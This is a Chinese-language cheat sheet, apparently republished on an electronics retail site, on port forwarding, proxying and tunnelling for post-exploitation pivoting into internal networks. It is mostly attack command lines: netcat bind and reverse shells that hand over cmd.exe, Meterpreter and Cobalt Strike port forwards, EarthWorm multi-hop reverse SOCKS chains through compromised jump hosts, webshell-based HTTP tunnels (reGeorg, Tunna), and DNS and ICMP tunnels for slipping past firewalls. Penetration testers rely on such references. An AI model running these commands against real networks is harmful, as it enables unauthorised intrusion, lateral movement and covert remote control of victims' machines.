资讯详情

内网端口转发

内网渗透-端口转发总结

当我们得到网站时webshell提高权利后,建立管理员帐户或破解原管理员密码。然后打开目标服务器远程桌面,但它是一个内部网络服务器。

转发、映射、代理

其实这些概念很难区分,尤其是和后面的内网渗透混在一起的时候。从宏观上看,它们没有太大区别。但本质上还是有很大区别的。现在先说说我个人对这些概念的理解:

工具名称 主要用途 平台 备注
lcx 端口映射 Windows 只支持tcp非系统内置的协议端口转发。linux可实现端口转发和端口映射
netsh 端口映射 Windows 只支持tcp需要安装协议的端口转发ipv6
rinetd 反向代理 Linux 非内置需要自行安装
Earthworm 端口映射、Socks5代理 Linux、Windows、MacOS、Arm-Linux 非系统内置支持多级转发非常方便
frp 高性能反向代理应用 go 基于反向代理,可以灵活穿透内网,绕过防火墙
reGeorg Socks5 代理 常见的脚本语言 reGeorg利用webshell建立一个socks服务器必须支持代理内网穿透aspx、php、jsp、js等web语言
Metasploit portfwd 端口映射 MSF -> Metpreter会话 需要更好的网络条件
socat 端口映射 Linux 可能需要安装
Metasploit->socks4a 反向代理 MSF -> Metpreter会话 会话主机需要有外网代理IP
tunna HTTP隧道 常见的脚本语言 脚本环境需要执行,不稳定
localtuuel 内网公网映射 nodojs 和ngork内网到公网端口的映射也可以实现
ngork 内网公网映射 go 您可以选择自建服务器或工具自带服务器
dns2tcp DNS隧道 kaii内置 内部过滤防火墙tcp出站策略,走DNS隧道,通过DNS流量中继TCP连接
Iodine DNS隧道 linux 原理上和dns2tcp类似
icmpsh ICMP隧道 需要root权限 禁止系统对icmp相应的,用工具处理收发icmp包

端口转发工具

一、系统内置的转发工具

1.iptables NAT功能

由于linux出于安全考虑,系统参数/proc/sys/net/ipv4/ip_forward默认为0,因此禁止NAT我们可以通过以下两种方式修改系统运行时的参数。

临时方案

echo 1 >/proc/sys/net/ipv4/ip_forward 

长期方案

运行vi /etc/sysctl.conf

找到下面的值并将0改成1 net.ipv4.ip_forward = 1 

运行sysctl –p,立即生效改变 。

以下是一个转发示例

#1.1.1.1是公网ip,192.168.2.2内网ip  iptables -t nat -A PREROUTING  -p tcp -d 1.1.1.1 --dport 80 -j DNAT --to-destination 192.168.2.2:8080  iptables -t nat -A POSTROUTING -p tcp -s 192.168.2.2 --sport 8080 -j SNAT --to-source 1.1.1.1  service iptables save 

这将使访问1.1.1.1:80 映射到了192.168.2.2:8080端口。

2.NC反弹(NetCat)

正向连接

打开远程主机上的监控  nc -l -p 5555 -e -t cmd.exe(-t是通过 telnet 模式执行 cmd.exe 可以省略程序。 
kali(本地主机上)连接  nc -nvv 192.168.95.12(远程主机ip) 5555 

成功后,本地主机获得了远程主机cmd shell。

反向连接

kali开启监听  nc -lnvp 7777  目标返向连接  nc -e cmd.exe 192.168.95.128 7777 

成功后,本地主机获得了远程主机cmd shell。

3.SSH

这种代理需要更高的权限(system/root)直接使用系统功能打开内网代理隧道,配置VPN都比较简单,这里就不赘述了。我们来看看。SSH代理隧道

#!bash  ssh -qTfnN -L port:host:hostport -l user remote_ip   #对当地隧道进行监控port  ssh -qTfnN -R port:host:hostport -l user remote_ip   #反向隧道,用于内网防火墙穿透限制等  SSH -qTfnN -D port remotehost   #直接进行socks代理   
参数详解:  -q Quiet mode. 安静模式  -T Disable pseudo-tty allocation. 不占用 shell 了  -f Requests ssh to go to background just before commandexecution. 后台运行,并推荐加上 -n 参数

-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~

有时候,我们手边没有端口转发的工具,也可以通过ssh来做端口转发

#!bash

ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发

ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发

4.netsh

windows自带规则配置工具

添加一条规则:将远程的3389端口转发到本地的7777端口上

netsh interface portproxy add v4tov4 listenport=7777 connect=3389 connectaddress=192.168.93.10 protocol=tcp

查看转发规则:netsh interface portproxy dump

删除转发规则:netsh interface portproxy delete v4tov4 listenport=7777

二、非内置的端口转发工具

1.lcx

lcx-<listen|tran|slave> <option> [-log logfile][option:] 

-listen <监听端口> <转发端口>  

-tran<监听端口> <目标地址> <目标端口> 

-slave <目标主机> <目标端口> <本地主机><本机端口>

1.1内网机器上执行:

lcx.exe –slave 公网 IP + 端口 内网 IP + 端口

例如把内网主机192.168.1.521的 3389 端口转发到具有公网ip主机192.168.1.520的 4444 端口的命令为:

lcx.exe –slave 192.168.1.520 4444 192.168.1.521 3389

1.2公网主机 上执行

lcx.exe –listen 公网主机端口1 公网主机端口2

例如监听公网 4444 端口请求,并将 4444 的请求传送给 5555 端口的命令为:

lcx -listen 4444 5555

1.3Windows 命令行下输入mstsc,即可打开远程桌面连接

如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。

1.4特殊情况

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,

目标主机上执行:

lcx -tran 53 目标主机ip 3389

这时我们可以直接远程桌面连接到到 目标主机IP:53

2.socat

socat这个端口转发我们其实更常用在ssrf构造payload的时候本地抓包,因为socat有记录转发流的功能。将socat作为中介捕获我们构造的payload包,然后进行进一步的操作,如gopher协议的构造。

#安装
yum install -y socat
apt install -y socat 

#TCP 
nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000

TCP4-LISTEN:10000  监听 ipv4 的 10000TCP 端口。 10000 改成你自己需要转发的端口
fork TCP4:1.1.1.1:10000  转发到 1.1.1.1 的 10000 端口,根据需求修改自行修改 ip 和端口
nohup 后台运行。可以把这个命令写到   /etc/rc.local 里面开机启动启动。

#UDP
nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000

3.Metasploit socks4a

一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。

1. 在反弹的shell中添加路由,如
run autoroute -s 192.168.122.0/24
2. 使用socks4a模块并设置端口
use auxiliary/server/socks4a
3. 配置proxychains

4.Meterpreter portfwd

在MSF渗透框架里面内置了端口转发的命令,在回弹了shell的条件下可以直接使用,下面式相关参数解析。

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -L <opt>  转发: 本地监听地址  反向: 本地主机连接到某个地址
    -R        表示正向反向端口
    -h        帮助信息
    -i <opt>  端口转发条目的索引与交互(请参阅“列表”命令)
    -l <opt>  转发:本地端口收听  反向:本地端口连接
    -p <opt>  转发:远程端口连接  反向:远程端口监听
    -r <opt>  转发:连接到远程主机
 
生成一个监听
portfwd add -l 1389 -r 192.168.93.10 -p 3389

查看已建立的规则: portfwd list

连接:rdesktop 192.168.0.108:1389 (此处是msf的地址)   
    
例子:
portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389  

portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877

5.rinetd

当外部主机是linux时,可使用其进行转发操作
lhost lport rhost rport

# 安装,注意到centos没有其默认的软件源,需要手动导入;ubuntu的比较方便
#centos 32
$ vim /etc/yum.repos.d/nux-misc.repo
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/i386/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro

#centos 64
$ vim  /etc/yum.repos.d/nux-misc.repo:

[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro

$ yum --enablerepo=nux-misc install rinetd

# ubuntu
$ apt-get install rinetd

#配置文件在/etc/rinetd.conf,配置参数格式
[bindaddress] [bindport] [connectaddress] [connectport]
绑定的地址    绑定的端口  连接的地址      连接的端口

[Source Address] [Source Port] [Destination Address] [Destination Port]
源地址            源端口         目的地址               目的端口

#举例
$ vim /etc/rinetd.conf

0.0.0.0 8080 172.19.94.3 8080
0.0.0.0 2222 192.168.0.103 3389
1.2.3.4 80 192.168.0.10 80
allow *.*.*.*
logfile /var/log/rinetd.log

#解释
0.0.0.0表示本机绑定所有可用地址
将所有发往本机8080端口的请求转发到172.19.94.3的8080端口
将所有发往本机2222端口的请求转发到192.168.0.103的3389端口
将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口
allow设置允许访问的ip地址信息,*.*.*.*表示所有IP地址
logfil设置打印的log的位置

# 运行
#脚本启动
$ /etc/init.d/rinetd start

#二进制启动
$ /usr/sbin/rinetd -c /etc/rinetd.conf

#关闭(使用脚本,或则和pkill)
$ /etc/init.d/rinetd stop

6.ngrock

7.htran

绕过防火墙

方法1:htran.exe -p -tran lport lhost lport

方法2:htran.exe -p -slave rhost rport lhost lport portmap -m 2 -p1 xxxx -p2 xxxx

转发内网端口

方法1:htran.exe -p -tran lport rhost rport

方法2:

将本地(win2012)的3389转发到目标(win2008)的7777上

htran.exe -p -slave rhost(192.168.93.20) rport(7777) lhost(127.0.0.1) lport(3389)

在目标上(win2008)监听本地7777端口,转发到9999端口htran.exe -p -listen 7777 9999

attack 连接(win2008)9999端口,相当于连接了win2012的3389:rdesktop 192.168.0.106:9999

8.socat

转发内网端口

socket.exe TCP4-LISTEN:5555.reuseaddr.fork TCP4:192.168.93.10:3389

9.FPipe

转发内网端口
FPipe.exe -l lport -r rport rhost -v

网络代理工具

一、socks代理

1.cobaltstrike

cs生成一个客户端,将其拿到目标机器是上运行,拿到一个会话

然后进入交互模式

rportfwd 8888 rhost 3389

rportfwd stop 8888

2.Metasploit socks4a

一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。

1.添加路由:run post/multi/manage/autoroute
2.查看路由:run autoroute -p
3.添加socks代理:use auxiliary/server/socks4a
4.使用代理链工具调用代理:proxychains rdesktop 192.168.93.10

3.EW

工具的地址: http://rootkiter.com/EarthWorm/

这是个国产的打洞神器,因为其方便的多级转发,支持反向代理等特性,在内网渗透领域可是响当当的。

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

正向代理
用法: 
WIN:ew_win32.exe -s ssocksd -l 1080

$ ./ew -s ssocksd -l 1080

流量走向:A <··> B:1080 <··> C

开启机器的1080端口做正向代理,我们可以通过链接该机器的1080端口进行端口代理转发。一般的场景为:kali 通过proxychain 链接开启了正向代理的公网ip。

反向代理

 #公网主机A,ip假设为1.1.1.1
./ew -s rcsocks -l 1080 -e 8888 
# 目标机B
./ew -s rssocks -d 1.1.1.1 -e 8888

WIN:
公网主机winA流量转发,ip假设为1.1.1.1:
ew_win32.exe -s rssocks -l 1080 -e 8888
winB转发自身流量到A的8888端口:
ew_win32.exe -s rssocks -d 192.168.93.20 -e 8888

kali连接:proxychains rdesktop 192.168.93.10
        
流量走向:kali <··> A:1080 <··> A:8888 <··>B

多级转发

在前面的两个场景中,我们看到了rcsocks,ssocksd,rssocks这三个命令的使用。在多级转发中我们会见到另外三个命令的作用。他们就类似于中间件,负责隧道导流与串接。

#命令使用举例:
# lcx_listen 用在将本机的端口进行转发
$ ./ew -s lcx_listen -l  1080   -e 8888
# lcx_tran 将本机端口与目的ip地址的端口进行转发
$ ./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999
# lcx_slave 作为奴隶,将本机直接可达的两个主机实体上的端口进行转发
$ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999

下面我们来看个实际渗透三级级联例子:

# 我们自己的VPS执行
$ ./ew -s rcsocks -l 1080 -e 8888

# 跳板机A执行
$ ./ew -s lcx_slave -d ip_A -e 8888 -f ip_B -g 9999

# 跳板机B执行
$ ./ew -s lcx_listen -l 9999 -e 7777

# 跳板机C执行
$ ./ew -s rssocks -d ip_B -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks。

4.Termite(白蚁)

添加代理:socks 1080
反弹一个shell:shell 7777

二、DNS代理

1.dnscat2

服务端执行:ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.0.108" --no-cache
客户端连接:dnscat2-v0.07-client-win32.exe --dns server=192.168.0.108
    操作
    查看所有的会话:windows
        与指定会话交互:session -i
    得到一个shell:shell
        转到主界面:ctrl+z

2.iodine

https://github.com/yarrick/iodine

https://www.freebuf.com/articles/system/178214.html

https://blog.csdn.net/weixin_36440115/article/details/76400359

备选,遇linux主机可一试

服务端执行:iodined -p 123456 -f -DD 192.168.0.108 abc.com
客户端:iodine -p 123456 -f -r -T TXT 192.168.0.108 abc.com

3.dns2tcp

https://pkgs.org/download/dns2tcp

http://pwdme.cc/2016/11/11/dns2tcp-dns-tunnel/

https://kali.tuisec.win/kalitools/dns2tcp_zh.html

https://www.aldeid.com/wiki/Dns2tcp

三、HTTP代理

1.ReDuh(不太好用)

java -jar reDuhClient.jar http://192.168.0.108/reduh.jsp

nc -w localhost 1010

[create Tunnel]1234:127.0.0.1:3389

2.Tunna(推荐使用reGeorg,Tunna不稳定。)

Tunna工具地址

把代理脚本上传到目标服务器,然后通过代理内网的某个端口,将敏感端口流量转发了外网的的某个端口,再通过本地连接外网的端口进行连接。

将代理脚本上传到目标服务器,在浏览器访问代理脚本是否被解析
python proxy.py -u http://192.168.0.108/conn.php -l 4444 -r 3389 -s -v --no-socks
本地执行:rdesktop 127.0.0.1:4444

3.reGeorg

reGeorg工具地址

Neo-reGeorg (支持客户端的加密)
    设置密码并生成隧道文件:python neoreg py generate -k Scantime

将隧道文件放到目标服务器的web目录,连接web服务器并建立本地socks代理:python neoreg.py -k scantime -u http://192.168.0.108/tunnel.php
    Socks连接工具连接本地

四、ICMP代理

1.icmpsh

运行前执行:sysctl -w net.ipv4.icmp_echo_ignore_all=1

服务端:icmpsh_m.py lhost rhost
客户端:icmpsh.exe -t serverhost

标签: nux光电传感器ps

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台